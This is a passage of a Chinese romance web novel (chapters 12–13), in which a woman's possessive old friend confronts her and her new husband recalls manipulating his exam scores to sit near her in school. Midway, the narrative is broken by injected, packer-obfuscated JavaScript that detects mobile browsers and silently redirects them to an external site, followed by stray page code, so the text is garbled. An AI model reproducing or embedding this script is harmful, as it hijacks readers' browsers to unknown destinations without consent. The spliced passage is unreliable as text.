“没有。我自己开车回去。”赵清扬擦干碗,把手机收进口袋,越过贺延走出厨房。 贺延拉住她,“我送你。” “不用。” “你一直躲我是什么意思?” 赵清扬下意识否认,“没躲。” “要不是我游回来找你,你是不是打算一句话都不跟我说?” 赵清扬甩开,“没那回事。” “他怪你跟我走得太近?”贺延这次抓她抓得更紧,肌肤相贴,掌心传来的温度也更加滚烫。 赵清扬用力挣了两下,皮肤都擦红了也没能挣开,沉声,“你放开我。” 贺延就当没听见。 “我们这样算什么?”赵清扬举起手,只恨无名指上没有戒指可以和贺延凌厉眼神相抗衡,“我结婚了,你这样合适?” 贺延依旧沉默,却不松手。 赵清扬不想再跟他纠缠下去,好声好气,“贺延,我们就这样吧。” “不可能。” 赵清扬皱眉,沉声,“你能不能别任性了?我都结婚了你还想怎样?” “你说今天预约了别的事不能来,不还是来了。”贺延声音轻,力道却大,一下就将她拉到面前。 距离突然之间拉近,赵清扬顿时慌了神,另一只手用力抵住贺延胸口和他保持安全距离,咬牙,“这根本就不是一回事。” “怎么不是一回事?你的预约可以取消,我没有船也可以自己游回来,很多事本来就没有规则,婚姻也一样。能结婚就能离婚,赵清扬,只要你想,没什么事情不能改变。” 赵清扬极力抗衡他的靠近,胸口起伏不停喘粗气,“你疯了。” “我疯了?”贺延觉得可笑,“我再疯也不会糟践自己,随随便便找个人结婚。你敢说你嫁给陈柏深是因为喜欢他?” 赵清扬想也不想,“我就是喜欢他怎么了?” “你认识他几天?知道他是什么人、做过什么事?你爸妈多催几句你就这样骗自己?不结婚会死吗?你有没有自己脑子?” 赵清扬手腕疼得眼泪在眶里打转,仍不甘示弱,“你以为你是谁?我结不结婚、和谁结婚跟你有什么关系?我不跟他结婚难道跟你结婚?你他妈除了在这里吼我还能自己做主什么事?” 痛处被戳中,贺延将她抓得更紧,恨不得将她手腕捏碎,“赵清扬!” “清扬。” 一躁一静两道声音同时响起。 赵清扬大脑霎时一片空白,循着声音转头,陈柏深就站在门口看着她。 13. 第 13 章 陈柏深记得很清楚,在很久以前,他也是差一点就能得到和赵清扬共处的机会。 其实他并不是盛奕乔所说的那样什么都不争取。他争取过很多次,只可惜都失败了。 很多次尝试后,他才发现原来是贺延拦在他前面。 贺延一直是赵清扬的同桌,两人嬉笑打闹,周末互相约着出去玩,进出饭堂也闹哄哄一群人,但赵清扬被大雨困在体育馆,贺延不担心,贺延再三让她在终点线等他,她也轻易失约。 可尽管这样,在学校每个月组织的博物馆参观活动中,大巴上贺延旁边的座位只有赵清扬能坐,赵清扬一上大巴,第一眼寻找的也是贺延。 陈柏深想,也许他取代贺延和赵清扬成为同桌就能解决所有问题。 这个念头一萌发,做题思路戛然而止,笔尖离开草稿纸,陈柏深忍不住看一眼侧前方的赵清扬。 这是一堂自习课,赵清扬趴在桌子上补觉,他只能看到她毛茸茸的脑袋。再一偏头,窗外巡班老师走过,陈柏深身体前倾,不由自主张嘴,想叫醒她。 但他只能眼睁睁看着。 好在贺延及时发现,把手搭在赵清扬肩膀上,轻推两下,把她摇醒了。 刚睡醒的赵清扬半睁着眼,睡眼朦胧抓了抓留海,瞄一眼窗外的老师,接着朝贺延露出一个表示感谢的明媚笑容,然后从书包里掏出一块巧克力,掰了一半递给贺延,用口型说着谢谢你。 那是陈柏深第一次无比迫切想当赵清扬的同桌。 当时班里遵循的是按排名选座的规则,如果他想当她的同桌,只能想办法让自己的排名比她低——她总不会主动选择当他的同桌,但不能低太多——不然别人会选择当她的同桌。 陈柏深第一次开始琢磨题型和分数占比,不仅要计算单科成绩,还要考虑总成绩,不仅要预留自己的误差范围,也要考虑赵清扬平时的水平。 在草稿纸上简单计算后,陈柏深发现,通过控分来左右排名和座位,难度很大。可他现在只有这一个办法。他想离她近一点,不动声色地,顺理成章地,离她近一点。 不出意外,他的第一次控分尝试失败了。那次月考难度增大,大家的成绩都不理想,他错失了年级前二十的位置,还保持着班里的第五名,赵清扬也考差了,落到了班里第二十五的名次。 课间,赵清扬对完答案后抓着卷子找贺延探讨错题,他的同桌郑博文路过去凑热闹,刚好贺延要去上厕所,讲卷子的活就被他捞了去。 “你在这画一条中位线,很快的。”郑博文手撑桌角,俯低身子,单手接过赵清扬递来的笔,在卷子上画辅助线,赵清扬把头凑过去看。 陈柏深看着两人自然而然越挨越近的距离,心里不是滋味,却只能轻轻把卷子翻到同一道题。 这道题他做对了。满分。 郑博文继续教:“……这里,继续连接中点和E点,再看这里,题干说E是三等分点……” 有更好更快的解法。陈柏深心里默默想。比标准答案更简便。 “你这里,”赵清扬突然发问,“怎么证得它们平行?” “因为……诶,不对不对,这里不应该啊……”郑博文不知不觉把自己绕进去,干脆坐在贺延的座位上重新画草图,“你等等,我再捋捋。” 赵清扬边思考边安静等他。 陈柏深按郑博文刚才的思路继续走下去,很快就明白他在哪里出了错。他忽略了另一个已知条件。 来问我吧。陈柏深心里默默祈祷。 可惜郑博文听不到他心声,挠挠头把脑袋伏得更低,铁了心要在贺延的座位上扎根,“……不行,我再想想,我今天一定帮你解出来。你先看别的题吧。” 赵清扬没说什么,继续看下一道错题。陈柏深等了三分钟,郑博文脑袋越趴越低,仍苦想着没有头绪。陈柏深终于忍不住,起身想路过提醒他一句。 谁知刚站起来,上课铃就响了。 他刚刚还觉得五分钟的课间休息太漫长,等他想抓住的时候,才发现五分钟太短暂。 陈柏深老老实实坐回原位。 郑博文依依不舍起身,越想越不甘心,为了挽尊干脆把赵清扬卷子统统都带了回来,“我先看一遍,下课了再给你讲。” 郑博文平时不爱听课,习惯一个人做题,于是赵清扬也就不怕耽误他听课,任他把卷子都带走。 于是接下来的一节课,陈柏深就看着郑博文专心致志批了一整节课的卷子,末了还嘀咕一句,“这立体几何是她短板啊,错的都是一样的题。” 立体几何。陈柏深默默记下。这次的立体几何在大题占了十二分,填空题占四分,选择题没有涉及。以赵清扬以往的水平,应该是大题里的最后一小题没有做出来。那么她这次的数学成绩应该是…… “柏深,”郑博文突然把卷子递到他面前,悄声,“你看这道题的答案,是不是错了?我算来算去都不是这个得数。” 陈柏深放下手中的笔,接过赵清扬的卷子,第一眼看到她笔下的解字。 好看。 然后再去看她的解题步骤,“这里,你漏掉了AC等于BH的条件。” “我说的不是这道题,”郑博文手指往上一点,“那道题我早就想通了。我说的是上一道题的得数……” “她不是做对了吗?”陈柏深问。 “我没做对。”郑博文说着就翻出了自己的卷子,“我刚算了好几遍,都跟答案不一样。” 又一张卷子被翻出来摊桌面上,赵清扬的卷子便顺理成章挪到了陈柏深面前。 仿佛成了他的私有物。 郑博文闷头讲自己的思路,陈柏深几次走神去看墙上的钟表,期待着快点下课,期待着下课后赵清扬走到他面前拿走卷子,再看他一眼,和他说句话。 他也想给她讲题。 他什么都懂,他只需要一个能够开口的机会。 可赵清扬好像忘记了拿卷子这回事,一下课就离开教室去打水,郑博文也开始和另一道难题胶着,没有叫她。 陈柏深希望落空,借整理桌面把卷子还给郑博文。郑博文眼也不抬,更懒得走一趟,“你离得近,你帮我放她桌面吧。” 陈柏深心中雀跃,“好。” 第二次月考,陈柏深继续控分,但贺延仍先一步和赵清扬同桌。第三次,他超过了赵清扬。 第四次就是期末考了。 考前动员班会上,班主任推心置腹说了很多鼓励,陈柏深只听到一句——为了节省时间,下学期不会再继续频繁换座位。 也就是说,这一次的期末考排名,将决定下学期一整个学期的座位。 陈柏深更加小心控分。经过一个学期的努力和各种大考小考的控分尝试,他这次有八成的把握。如果可以,他会勇敢一次,为自己争取到跟赵清扬同桌的机会。 如果叫醒她的人是他,他肯定也能得到她同样的礼物。 等到成绩出来,陈柏深知道他就要成功了。赵清扬班级第六,他第七。而前五名都有自己固定的同桌。 于是一整个暑假,陈柏深都在期待开学。 直到开学前三天,妈妈吃饭时问起他坐哪个座位。 “我看家长群这几天吵得很厉害,说的都是换座位的事情。” 陈柏深心里一空,赶紧问她拿来手机看群里的聊天记录。 这场风波的起因是教导主任接到学生家长投诉说他们班的选座规则不公平,应该按身高和视力来选座位,而不是一味按成绩排名来决定,这样不利于个人发展和班级凝聚力,还会打击学生自尊心。 班主任接了领导指示,迫于压力在群里发起投票根据服从多数的原则来定规则以示公平。 但选座没有十全十美的办法。很快又有家长发言说按身体素质来选不够自由,而且社会资源有限,更应该趁早培养孩子的竞争意识。慢慢地,各种观点都涌了出来,男女同桌容易早恋,成绩排位打击自尊心,高个子男生扎堆后排会吵闹,再说长得高也不一定视力好,身子弱的不能坐窗边吹风,不然总生病,喜欢安静的也不能接受坐在门边听人进进出出,不然注意力不能集中……一时间,家长群里乱成一团,莫衷一是。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419272|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈柏深每天都守着妈妈的手机等待班主任最后的决定。 第一天。 第二天。 第三天。 班主任的决定是维持现状。开学那天,大家按原来的座位坐,再根据各自要求微调,为了息事宁人,座位不再有周期性的大变动。 班里没人有异议,陈柏深也一如既往的沉默。 努力被深埋,一切风平浪静,好像无事发生。 直到某一天,郑博文带回消息,说那个向教导主任投诉排座规则的家长,是贺延的妈妈。贺延觉得前桌长得太高,妨碍他看黑板,所以造成他的成绩下降。 “他小子的成绩哪里下降了,”郑博文满脸鄙夷,“不就是一直想跟赵清扬同桌嘛,搞这么大阵仗。” 陈柏深突然就明白了。 原来他默默无闻的努力并不是无人知晓。他追随赵清扬身影时不小心对视上的眼神,也都不是巧合。 原来比努力更重要的是选择,而他输在只敢把勇气都花在努力上。 - 关于刚才的争吵,赵清扬不知道陈柏深听到了多少,又看到了多少,只感觉周身冰凉,呆愣原地久久不能动作。 反而是贺延先松开了她的手。 陈柏深留意到她手腕上的大片红印和充血的手掌,面色和善步步走近,眼神平静扫过两人,缓缓停在赵清扬身上,“今天玩得不开心?我听到你们吵得很厉害。” 赵清扬赶紧把手藏到身后,“……没事,我们只是说话声音比较大。你怎么来了?我看你不回消息,以为你赶不回来。” “我的手机没电关机了。” “今天很忙吧?” “还好。” 陈柏深把她的不安看在眼里,将眼神挪到贺延身上,“这是你的朋友?” 贺延从容伸出手,“你好,我姓贺,叫贺延。我们通过电话。” 赵清扬喉咙发干,装不出给他们互相介绍的大方态度,只能眼睁睁看着陈柏深伸手和贺延相握,“你好,我叫陈柏深,清扬应该跟你提起过我。” 贺延点头,松手,“知道。” 接着上下打量陈柏深的一身笔挺西装,语气熟稔,“你刚结束工作?穿这么正式。” “刚出差回来。会议比较正式,有着装要求。” 贺延轻笑,“这么晚了,你着什么急,等到明天再回来也不迟。别累着自己。” 陈柏深也朝他微笑,伸出手想去牵赵清扬,“我们明天上午约了检查,怕明天再回来会来不及。” 赵清扬后知后觉他们明天早上还约了孕前检查,才抬起手,贺延却十分恰当往前一步挡在她面前,动作自然从桌上给自己倒了一杯水,“做什么检查?清扬今天生理期,明天也能做检查?” 赵清扬眉头轻皱。她今晚随口胡说的借口太多,贺延这么一说,她忽然记不清自己是否跟贺延坦白了自己没来生理期的事实。 “预约先取消吧。”不等她反应,贺延风轻云淡,替她做出了决定。 赵清扬接二连三受到冲击还没完全缓过神来,陈柏深从她迷茫的眼神里无从得知贺延话里的真假,但贺延插手她生活的熟练和优越感让他觉得危险。 总有人眼角笑意浅显温和,却不守规则。 陈柏深平静接纳他的建议,“那就下次吧。” 这次他先占据了她身边的位置,他和她来日方长,一两次失约没什么大不了。 然而贺延却不打算就此放过他。 “楼上有空房间,时间也不早了,不如留下来一起吃生日蛋糕?”贺延又提议,“正好其他人也快回来,大家见一面,互相认识认识,以后还能约出来一起玩。” 赵清扬敏感察觉到贺延不怀好意的微妙挑衅,终于回过神来,着急忙慌要去牵陈柏深想把他带走,“不用了,我们现在就回去……” 不过短短三步的距离,却再快也敌不过声音的速度。 “一直藏着干什么,”贺延站在原地没拦她,双眼带着笑意看着的却是陈柏深,一字一句说得不紧不慢,“他又不是拿不出手。”